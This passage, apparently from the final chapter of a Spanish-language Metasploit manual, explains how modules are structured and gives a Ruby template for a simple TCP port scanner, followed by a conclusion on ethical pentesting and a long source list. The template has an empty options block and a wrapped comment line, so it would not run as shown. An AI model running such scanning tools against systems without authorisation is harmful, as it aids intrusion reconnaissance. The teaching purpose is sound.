12.1 Estructura de un Módulo de Metasploit

Todos los módulos de Metasploit son clases de Ruby que heredan de una clase base y utilizan *mixins* para incorporar funcionalidades. La estructura básica de un módulo es consistente y relativamente fácil de entender.

Un módulo típico contiene:

1. **Definición de la Clase:** Todo módulo comienza con class MetasploitModule < Msf:: donde TipoDeModulo puede ser Exploit::Remote, Auxiliary, Post, etc..
2. **Inclusión de Mixins:** Los mixins son fragmentos de código reutilizable que proporcionan funcionalidades específicas. Por ejemplo, include Msf::Exploit::Remote::HttpServer dota al módulo de la capacidad de actuar como un servidor web. Otros mixins comunes son para TCP, SMB, etc.
3. **Método initialize:** Este es el constructor de la clase. Aquí es donde se definen los metadatos del módulo dentro de una llamada a super(update_info(...)). Estos metadatos son cruciales y incluyen :
    - Name: El nombre descriptivo del módulo.
    - Description: Una explicación detallada de lo que hace el módulo.
    - Author: El nombre del creador.
    - License: La licencia bajo la cual se distribuye el módulo (normalmente MSF_LICENSE).
    - References: Enlaces a CVEs, avisos de seguridad, etc.
    - Targets: Para exploits, una lista de los sistemas operativos y versiones a los que se dirige.
    - Payload: Información sobre el espacio y las restricciones del payload.
4. **Registro de Opciones (register_options):** Dentro de initialize, se definen las opciones que el usuario podrá configurar (como RHOSTS, RPORT). Se utiliza un array de objetos OptString, OptPort, OptInt, etc..
5. **Método Principal (run o exploit):** Esta es la función principal que contiene la lógica del módulo. Para un módulo auxiliar, suele ser def run o def run_host. Para un exploit, es def

exploit.

12.2 Guía para Escribir un Módulo Auxiliar Simple

Crear un módulo auxiliar es la mejor manera de iniciarse en el desarrollo para Metasploit. A continuación, se presenta un tutorial conceptual para crear un escáner simple que comprueba si un puerto específico está abierto en un host.
Paso 1: Crear el Archivo del Módulo Metasploit carga módulos personalizados desde el directorio ~/.msf4/modules/. Para un nuevo escáner auxiliar, se crearía la siguiente estructura de directorios y el archivo: ~/.msf4/modules/auxiliary/scanner/custom/simple_port_scanner.rb.
Paso 2: Escribir el Código del Módulo El contenido del archivo simple_port_scanner.rb seguiría esta plantilla :

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  # Incluir el mixin de escáner para gestionar el escaneo de múltiples
hosts
  include Msf::Auxiliary::Scanner
  # Incluir el mixin para reportar información a la base de datos
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'         => 'Simple TCP Port Scanner',
      'Description' => 'A simple module to demonstrate auxiliary
development. It checks if a specific TCP port is open.',
      'Author'       => ['Your Name'],
      'License'      => MSF_LICENSE
    ))

    # Registrar las opciones que el usuario podrá configurar
    register_options(
     )
  end

  # Este método se ejecuta para cada host individual en RHOSTS
  def run_host(ip)
    begin
      # El método 'connect' es proporcionado por el mixin Scanner
      connect
      # Si la conexión tiene éxito, el puerto está abierto
      print_good("#{ip}:#{rport} - TCP Port is Open")
      # Reportar el servicio a la base de datos de Metasploit
      report_service(host: ip, port: rport, name: "unknown", proto:
"tcp", state: "open")
```

```
    rescue ::Rex::ConnectionError
      # Si la conexión falla, el puerto está cerrado o filtrado
      print_error("#{ip}:#{rport} - TCP Port is Closed or Filtered")
    ensure
      # Siempre desconectar el socket
      disconnect
    end
  end
end
```

Paso 3: Usar el Nuevo Módulo

1. Iniciar msfconsole.
2. Metasploit debería cargar automáticamente el nuevo módulo. Se puede recargar la caché de módulos con el comando reload_all.
3. Cargar el módulo: use auxiliary/scanner/custom/simple_port_scanner
4. Configurar las opciones: set RHOSTS <IP_Objetivo> y set RPORT <Puerto_a_escanear>.
5. Ejecutarlo: run.

El módulo intentará conectarse al puerto especificado en el host objetivo e informará si está abierto o cerrado. Este simple ejemplo sienta las bases para desarrollar herramientas mucho más complejas, demostrando el poder y la accesibilidad de la plataforma de desarrollo de Metasploit.

Conclusión: Hacia la Maestría en Pruebas de Penetración

Este manual ha emprendido un viaje exhaustivo a través del ecosistema de Metasploit, desde sus fundamentos filosóficos y arquitectónicos hasta las complejidades de la post-explotación avanzada y el desarrollo de herramientas propias. Se ha demostrado que Metasploit es mucho más que un simple conjunto de herramientas; es una plataforma integral, un lenguaje y una metodología para la práctica de la seguridad ofensiva.

El recorrido ha enfatizado que la maestría en Metasploit no se alcanza únicamente con el conocimiento técnico de sus comandos y módulos. La verdadera pericia emerge de la combinación de tres dominios clave:

1. **Competencia Técnica:** La habilidad para manejar msfconsole, msfvenom y el vasto arsenal de módulos de forma fluida y eficiente.
2. **Responsabilidad Ética:** La comprensión inquebrantable de que estas poderosas capacidades solo deben emplearse dentro de un marco legal estricto, con autorización explícita y con el propósito de fortalecer las defensas.
3. **Pensamiento Estratégico:** La capacidad de ver más allá de la explotación individual y entender el ciclo de vida completo de un pentest: cómo el reconocimiento informa la explotación, cómo el acceso inicial conduce al movimiento lateral, y cómo la persistencia y la exfiltración cumplen los objetivos finales de la evaluación.

Metasploit es una plataforma viva, que respira y evoluciona gracias a una comunidad global de investigadores y desarrolladores que contribuyen constantemente con nuevos módulos, técnicas y mejoras. El viaje del lector no termina con la última página de este manual. Por el contrario, este es el punto de partida.

Se anima encarecidamente al lector a continuar su formación: a practicar incansablemente en el laboratorio seguro que ha construido, a sumergirse en la excelente documentación oficial

mantenida por Rapid7 y la comunidad , a experimentar con la escritura de sus propios módulos y, finalmente, cuando haya alcanzado la confianza y la habilidad necesarias, a contribuir al proyecto. Al hacerlo, no solo se convertirá en un pentester más eficaz, sino también en un miembro valioso de la comunidad global que trabaja incansablemente para hacer del ciberespacio un lugar más seguro.

Fuentes citadas

1. Metasploit Framework, https://docs.rapid7.com/metasploit/msf-overview/ 2. Getting Started | Metasploit Documentation - Docs @ Rapid7, https://docs.rapid7.com/metasploit/getting-started/ 3. es.wikipedia.org, https://es.wikipedia.org/wiki/Metasploit#:~:text=Metasploit%20es%20un%20proyecto%20de,sistemas%20de%20detecci%C3%B3n%20de%20intrusos. 4. Metasploit - Wikipedia, la enciclopedia libre, https://es.wikipedia.org/wiki/Metasploit 5. ¿Qué es Metasploit Framework y cómo funciona? - Ciberseguridad, https://ciberseguridad.com/herramientas/pruebas-penetracion/metasploit-framework/ 6. Metasploit: La herramienta esencial en Ciberseguridad, https://www.campusciberseguridad.com/blog/metasploit-herramienta-esencial-ciberseguridad/ 7. Metasploit Editions: Network Pen Testing Tool - Rapid7, https://www.rapid7.com/products/metasploit/download/editions/ 8. Metasploit Framework vs Metasploit Pro - hugs4bugs, https://hugs4bugs.me/metasploitFramework-vs-metasploit-pro/ 9. Metasploit: Best Penetration Testing Software - DIESEC, https://diesec.com/2022/07/metasploit-best-penetration-testing-software/ 10. Metasploit vs Nmap for Ethical Hacking - UpGuard, https://www.upguard.com/blog/metasploit-vs-nmap-for-ethical-hacking 11. Metasploit Pro vs. Framework : r/AskNetsec - Reddit, https://www.reddit.com/r/AskNetsec/comments/e6jdy5/metasploit_pro_vs_framework/ 12. El Arte del Hacking Ético: Herramientas y Técnicas para la Defensa Cibernética, https://impulso06.com/el-arte-del-hacking-etico-herramientas-y-tecnicas-para-la-defensa-cibernetica/ 13. Hacking ético: procedimiento, técnicas y recomendaciones ..., https://s2grupo.es/hacking-etico-procedimiento-tecnicas-recomendaciones/ 14. ¿Qué es el hacking ético y en qué marco legal se encuentra?, https://legalveritas.es/hacking-etico-marco-legal/ 15. ¿Qué es el Pentesting? Todo sobre el Hacking Ético - Imagina Formación, https://imaginaformacion.com/tutoriales/pentester-hacking-etico 16. Metasploit - Seguridad en sistemas del curso de especialista en ciberseguridad, https://raul-profesor.github.io/Curso-especialista-ciberseguridad/segof/metasploit/ 17. Explora los Fundamentos de Metasploit Framework - LabEx, https://labex.io/es/tutorials/explore-metasploit-framework-basics-416119 18. Arquitectura de metasploit - Platzi, https://platzi.com/tutoriales/1176-pentesting-2019/2224-arquitectura-de-metasploit/ 19. Tutorial de Metasploit Framework de Offensive-Securitty - Security and Ethical Hacking, https://kneda.net/documentos/Metasploit.pdf 20. Módulos de Metasploit | KeepCoding Bootcamps, https://keepcoding.io/blog/modulos-de-metasploit/ 21. A step-by-step guide to the Metasploit Framework - HackTheBox, https://www.hackthebox.com/blog/metasploit-tutorial 22. Guía de uso de Metasploit: De dummy a experto #Parte 1 – La ..., https://lacriptadelhacker.wordpress.com/2020/08/18/guia-de-uso-de-metasploit-de-dummy-a-experto-parte-1/ 23. Learn System Hacking E2: Metasploit Modules - YouTube,

https://www.youtube.com/watch?v=7RqazChFX8E 24. Msfconsole - Metasploit Unleashed - OffSec, https://www.offsec.com/metasploit-unleashed/msfconsole/ 25. MSFvenom - Metasploit Unleashed - OffSec, https://www.offsec.com/metasploit-unleashed/msfvenom/ 26. How to use msfvenom | Metasploit Documentation Penetration Testing Software, Pen Testing Security - GitHub Pages, https://adfoster-r7.github.io/metasploit-framework/docs/using-metasploit/basics/how-to-use-msfvenom.html 27. Kali Linux: Top 5 tools for social engineering - Infosec, https://www.infosecinstitute.com/resources/penetration-testing/kali-linux-top-5-tools-for-social-engineering/ 28. Installing the Metasploit Framework, https://docs.rapid7.com/metasploit/installing-the-metasploit-framework/ 29. Nightly Installers | Metasploit Documentation Penetration Testing ..., https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html 30. Installing Metasploit on Windows - O'Reilly Media, https://www.oreilly.com/library/view/metasploit-for-beginners/9781788295970/f48f1d38-6527-4029-973c-d96aea4fac52.xhtml 31. Getting Started with Metasploit Framework, https://help.rapid7.com/metasploit/Content/getting-started/gsg-msf.html 32. metasploit-framework | Kali Linux Tools, https://www.kali.org/tools/metasploit-framework/ 33. Install The Metasploit Framework on Debian using the Snap Store - Snapcraft, https://snapcraft.io/install/metasploit-framework/debian 34. Installing Metasploit in Ubuntu and Debian, https://www.darkoperator.com/installing-metasploit-in-ubunt 35. What Is Metasploit? How to Install Metasploit on Ubuntu - Alibaba Cloud Community, https://www.alibabacloud.com/blog/what-is-metasploit-how-to-install-metasploit-on-ubuntu_599955 36. Installing Metasploit on macOS - Packt+ | Advance your knowledge in tech, https://www.packtpub.com/en-us/product/metasploit-penetration-testing-cookbook-9781788623179/chapter/metasploit-quick-tips-for-security-professionals-1/section/installing-metasploit-on-macos-ch01lvl1sec05 37. Installing Metasploit on an M1 Macbook Air - GitHub Gist, https://gist.github.com/tyrell/33ffd31c8539a6200e27a2e1ef27efa4 38. msfdb: Database Features & How to Set up a Database for ... - GitHub, https://github.com/rapid7/metasploit-framework/wiki/msfdb:-Database-Features-&-How-to-Set-up-a-Database-for-Metasploit/2a66094517649eff8ca8819951d0e2659d9b57b2 39. Inicio rápido Metasploit Framework - Malware SA, https://www.malwaresa.com/docs/3-information-gathering-and-scanning/anexo-inicio-rapido-herramientas/3-6-3-inicio-rapido-metasploit-framework/ 40. Using the Database - Metasploit Unleashed - OffSec, https://www.offsec.com/metasploit-unleashed/using-databases/ 41. Metasploit Framework | Kali Linux Documentation, https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/ 42. Metasploitable 2 Exploitability Guide - Rapid7 Documentation, https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/ 43. Metasploitable 2, https://docs.rapid7.com/metasploit/metasploitable-2/ 44. Modules, https://docs.rapid7.com/metasploit/modules/ 45. Metasploit: cómo moverse en MSFConsole - Álvaro Chirou, https://achirou.com/metasploit-como-moverse-en-msfconsole/ 46. Getting Started with Metasploit - Packt, https://www.packtpub.com/en-us/learning/how-to-tutorials/getting-started-metasploit?fallbackPlaceholder=en-ec%2Flearning%2Fhow-to-tutorials%2Fgetting-started-metasploit 47. How to use a Metasploit module appropriately, https://adfoster-r7.github.io/metasploit-framework/docs/using-metasploit/basics/how-to-use-a-metasploit-module-appropriately.html 48. Metasploit - Hackviser, https://hackviser.com/tactics/tools/metasploit 49. Scanner Discovery Auxiliary Modules -

Metasploit Unleashed - OffSec,
https://www.offsec.com/metasploit-unleashed/scanner-discovery-auxiliary-modules/ 50. How to use Metasploit for network testing - LabEx,
https://labex.io/tutorials/nmap-how-to-use-metasploit-for-network-testing-420331 51. Pivoting Using Metasploit Framework: Detailed Guide - Securium Academy,
https://www.securiumacademy.com/blog/pivoting-using-metasploit-framework-detailed-guide/ 52. Metasploit Postgres Setup - Fedora Project Wiki,
https://fedoraproject.org/wiki/Metasploit_Postgres_Setup 53. Metasploit Framework Mastery: Advanced Techniques and Command Reference - Medium,
https://medium.com/@okanyildiz1994/metasploit-framework-mastery-advanced-techniques-and-command-reference-8f068b59aea8 54. Lab 4: Metasploit Framework - Fengwei Zhang,
https://fengweiz.github.io/19fa-cs315/labs/lab4-instruction.pdf 55. VSFTPD v2.3.4 Backdoor Command Execution - Rapid7,
https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/ 56. Hacking vsFTPd 2.3.4: A Guide to Exploiting Without Metasploit - Securium Solutions,
https://securiumsolutions.com/hacking-vsftpd-2-3-4-a-guide-to-exploiting-without-metasploit/ 57. Vulnerability analysis of VSFTPD 2.3.4 backdoor - Packt+ | Advance your knowledge in tech,
https://www.packtpub.com/en-us/product/mastering-metasploit-9781786463166/chapter/1-dot-approaching-a-penetration-test-using-metasploit-1/section/vulnerability-analysis-of-vsftpd-234-backdoor-ch01lvl1sec13 58. UnrealIRCD 3.2.8.1 Backdoor Command Execution - Rapid7 ...,
https://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor/ 59. CVE-2010-2075 Detail - NVD, https://nvd.nist.gov/vuln/detail/cve-2010-2075 60. CVE-2010-2075 : UnrealIRCd 3.2.8.1, as distributed on certain mirror sites from November 2009 th - CVE Details, https://www.cvedetails.com/cve/CVE-2010-2075/ 61. UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) - Linux remote Exploit,
https://www.exploit-db.com/exploits/16922 62. Jason Lindsley MIS 5212 – Advanced Penetration Testing Analysis Report 1 – Metasploit Attack,
https://community.mis.temple.edu/mis5212sec001sp2017/files/2017/02/Metasploit-Attack-Executive-Summary-Jason-Lindsley.pdf 63. Comprehensive Metasploitable2 Exploitation Walkthrough | by Rajesh Kumar - Medium, https://rajeshmenghwar.medium.com/introduction-abdc1c5cd41b 64. Assignment 1: Executive Summary - Temple MIS,
https://community.mis.temple.edu/mis5212sec001sp2017/files/2017/02/JoutheMetasploitAssignmentExecutiveSummary.pdf 65. Client Side Exploits - Metasploit Unleashed - OffSec,
https://www.offsec.com/metasploit-unleashed/client-side-exploits/ 66. Working with Exploits - Metasploit Unleashed - OffSec, https://www.offsec.com/metasploit-unleashed/exploits/ 67. Metasploit Penetration Testing Recipe:ClientSide Exploitation Browser Vulnerabilities|packtpub.com - YouTube, https://www.youtube.com/watch?v=O17mKUJRwEk 68. Post Exploitation with Meterpreter - Pluralsight,
https://www.pluralsight.com/courses/post-exploitation-meterpreter 69. Understanding Metasploit's Meterpreter: Capabilities and Risks - Hunt.io,
https://hunt.io/malware-families/metasploit-meterpreter 70. Meterpreter Basics - Metasploit Unleashed - OffSec, https://www.offsec.com/metasploit-unleashed/meterpreter-basics/ 71. Top 10 Meterpreter Commands For Beginners - Astra Security Suite,
https://www.getastra.com/blog/security-audit/meterpreter-commands-post-exploitation/ 72. Situational Awareness for Meterpreter Users - Cobalt Strike,
https://www.cobaltstrike.com/blog/situational-awareness-for-meterpreter-users 73. Privilege Escalation - Metasploit Unleashed - OffSec,
https://www.offsec.com/metasploit-unleashed/privilege-escalation/ 74. Metasploit Local Exploit

Suggester | Rapid7 Blog,
https://www.rapid7.com/blog/post/2015/08/11/metasploit-local-exploit-suggester-do-less-get-more/ 75. Metasploit Player Guide - WWT,
https://www.wwt.com/api-new/attachments/66a7b8ba27a601d3d7f1c952/file 76. Metasploit Weekly Wrap-Up: 5/27/22 | Rapid7 Blog,
https://www.rapid7.com/blog/post/2022/05/27/metasploit-weekly-wrap-up-158-2/ 77. Linux Kernel Sendpage Local Privilege Escalation - Rapid7 Vulnerability Database,
https://www.rapid7.com/db/modules/exploit/linux/local/sock_sendpage/ 78. Linux 2.6.30 < 2.6.36-rc8 - Reliable Datagram Sockets (RDS ..., https://www.exploit-db.com/exploits/44677 79. Remote Keystroke Sniffing with Meterpreter | Rapid7 Blog,
https://www.rapid7.com/blog/post/2009/03/22/remote-keystroke-sniffing-with-meterpreter/ 80. Keystroke logging - Metasploit for Beginners [Book] - O'Reilly Media,
https://www.oreilly.com/library/view/metasploit-for-beginners/9781788295970/89779115-0eb0-4407-b1e7-b6d22fafbcfc.xhtml 81. Keylogging - Metasploit Unleashed - OffSec,
https://www.offsec.com/metasploit-unleashed/keylogging/ 82. metasploit-framework/documentation/modules/post/windows/gather ...,
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/windows/gather/checkvm.md 83. Auto execute meterpreter commands on session start - Information Security Stack Exchange,
https://security.stackexchange.com/questions/152903/auto-execute-meterpreter-commands-on-session-start 84. checkvm scripts (wrong result) - appear to be physical --- when its actually running on vm · Issue #16777 · rapid7/metasploit-framework - GitHub,
https://github.com/rapid7/metasploit-framework/issues/16777 85. How to Implement Pivoting and Relaying Techniques Using Meterpreter,
https://www.axontechnologies.com/blog/how-to-implement-pivoting-and-relaying-techniques-using-meterpreter 86. Pivoting in Metasploit - GitHub Pages,
https://adfoster-r7.github.io/metasploit-framework/docs/using-metasploit/intermediate/pivoting-in-metasploit.html 87. Windows Post Manage Modules - Metasploit Unleashed - OffSec,
https://www.offsec.com/metasploit-unleashed/windows-post-manage-modules/ 88. Network Pivoting and the eCPPT Exam - Echelon Risk + Cyber,
https://echeloncyber.com/intelligence/entry/network-pivoting-and-the-ecppt-exam 89. Expert Metasploit Penetration Testing Tutorial: Pivoting | packtpub.com - YouTube,
https://www.youtube.com/watch?v=cqxOS9uQL_c 90. Conducting and Detecting Data Exfiltration - MindPoint Group,
https://www.mindpointgroup.com/blog/conducting-and-detecting-data-exfiltration 91. What Is Data Exfiltration? MITRE ATT&CK® Exfiltration Tactic | TA0010 - SOC Prime,
https://socprime.com/blog/what-is-data-exfiltration-mitre-attack/ 92. Exfiltration Over Alternative Protocol, Technique T1048 - Enterprise | MITRE ATT&CK®,
https://attack.mitre.org/techniques/T1048/ 93. The Data Exfiltration Techniques You Need to be Aware of | BlackFog,
https://www.blackfog.com/the-data-exfiltration-techniques-you-need-to-be-aware-of/ 94. Meterpreter Service - Metasploit Unleashed - OffSec,
https://www.offsec.com/metasploit-unleashed/meterpreter-service/ 95. Gaining persistent access on Linux systems - Metasploit Revealed: Secrets of the Expert Pentester [Book] - O'Reilly Media,
https://www.oreilly.com/library/view/metasploit-revealed-secrets/9781788624596/0ad875d2-0cc6-4410-a9a0-2c3fea8cab73.xhtml 96. Encoding Payloads with MSFvenom - Scribe,
https://scribehow.com/shared/Encoding_Payloads_with_MSFvenom__w7_ZTcPjQuu3RhOfWVz

vJA 97. Generating shellcode with msfvenom - Hands-On Penetration Testing on Windows [Book], https://www.oreilly.com/library/view/hands-on-penetration-testing/9781788295666/5bdd58b2-2b0c-473c-8123-c5cecafc9952.xhtml 98. Antivirus Evasion Methods in Modern Operating Systems - MDPI, https://www.mdpi.com/2076-3417/13/8/5083 99. Shikata Ga Nai Encoder Still Going Strong | Mandiant | Google Cloud Blog, https://cloud.google.com/blog/topics/threat-intelligence/shikata-ga-nai-encoder-still-going-strong 100. Metasploit Unleashed: Build defense against complex attacks : Evasion with MSFvenom | packtpub.com - YouTube, https://www.youtube.com/watch?v=luzrc1Jra54 101. Social-Engineer Toolkit - Packt, https://www.packtpub.com/en-us/learning/how-to-tutorials/social-engineer-toolkit 102. Phishing and social engineering techniques 3.0 | Infosec, https://www.infosecinstitute.com/resources/hacking/phishing-and-social-engineering-techniques-3-0/ 103. The Social Engineering Toolkit (SET) - TrustedSec, https://trustedsec.com/resources/tools/the-social-engineer-toolkit-set 104. Metasploit Unleashed:Build defense against complex attacks: Social Engineering Toolkit |packtpub.com - YouTube, https://www.youtube.com/watch?v=QU2l36LQQFU 105. Social Engineering toolkit Exercise | CYBR3600 - GitHub Pages, https://mlhale.github.io/CYBR3600/exercises/SET.html 106. How to Use theHarvester Tool - Credential Harvesting Using Site Cloning - YouTube, https://www.youtube.com/watch?v=-q1-2NLgbiE 107. Kali Linux Social Engineering Toolkit Tutorial: Credential Harvester, https://www.packtpub.com/en-sk/learning/tech-news/kali-linux-social-engineering-toolkit-tutorial-credential-harvester 108. Create a payload and listener - Learn Social Engineering [Book] - O'Reilly Media, https://www.oreilly.com/library/view/learn-social-engineering/9781788837927/e2dac3ca-0afd-44a6-9380-26d52d9e3a10.xhtml 109. Learning Metasploit : Armitage Console | packtpub.com - YouTube, https://www.youtube.com/watch?v=4-V5mF40nbU 110. Getting Started with Armitage and the Metasploit Framework (2013) - Cobalt Strike, https://www.cobaltstrike.com/blog/getting-started-with-armitage-and-the-metasploit-framework-2013 111. Armitage Setup - Metasploit Unleashed - OffSec, https://www.offsec.com/metasploit-unleashed/armitage-setup/ 112. Armitage Exploitation - Metasploit Unleashed - OffSec, https://www.offsec.com/metasploit-unleashed/armitage-exploitation/ 113. Metasploitable2 Machine Exploitation Using Armitage | by Rajesh Kumar - Medium, https://rajeshmenghwar.medium.com/metasploitable2-machine-exploitation-using-armitage-2001ae4a1fc6 114. Armitage + Metasploit for Penetration Testing: from Information Collecting to Post Exploitation - CAE Community, https://caecommunity.org/sites/default/files/CAEForum21-Fu-Armitage_1.pdf 115. Creating Our Auxiliary Module - Metasploit Unleashed - OffSec, https://www.offsec.com/metasploit-unleashed/creating-auxiliary-module/ 116. Writing a browser exploit | Metasploit Documentation Penetration Testing Software, Pen Testing Security - GitHub Pages, https://adfoster-r7.github.io/metasploit-framework/docs/development/developing-modules/guides/how-to-write-a-browser-exploit-using-httpserver.html 117. Building A Module - Metasploit Unleashed - OffSec, https://www.offsec.com/metasploit-unleashed/building-module/ 118. Home | Metasploit Documentation Penetration Testing Software, Pen Testing Security, https://docs.metasploit.com/ 119. Module Documentation - Using Metasploit - GitHub Pages, https://adfoster-r7.github.io/metasploit-framework/docs/using-metasploit/basics/module-documentation.html 120. rapid7/metasploit-framework - GitHub,

https://github.com/rapid7/metasploit-framework 121. Getting Started with Metasploit for Penetration Testing, https://www.metasploit.com/get-started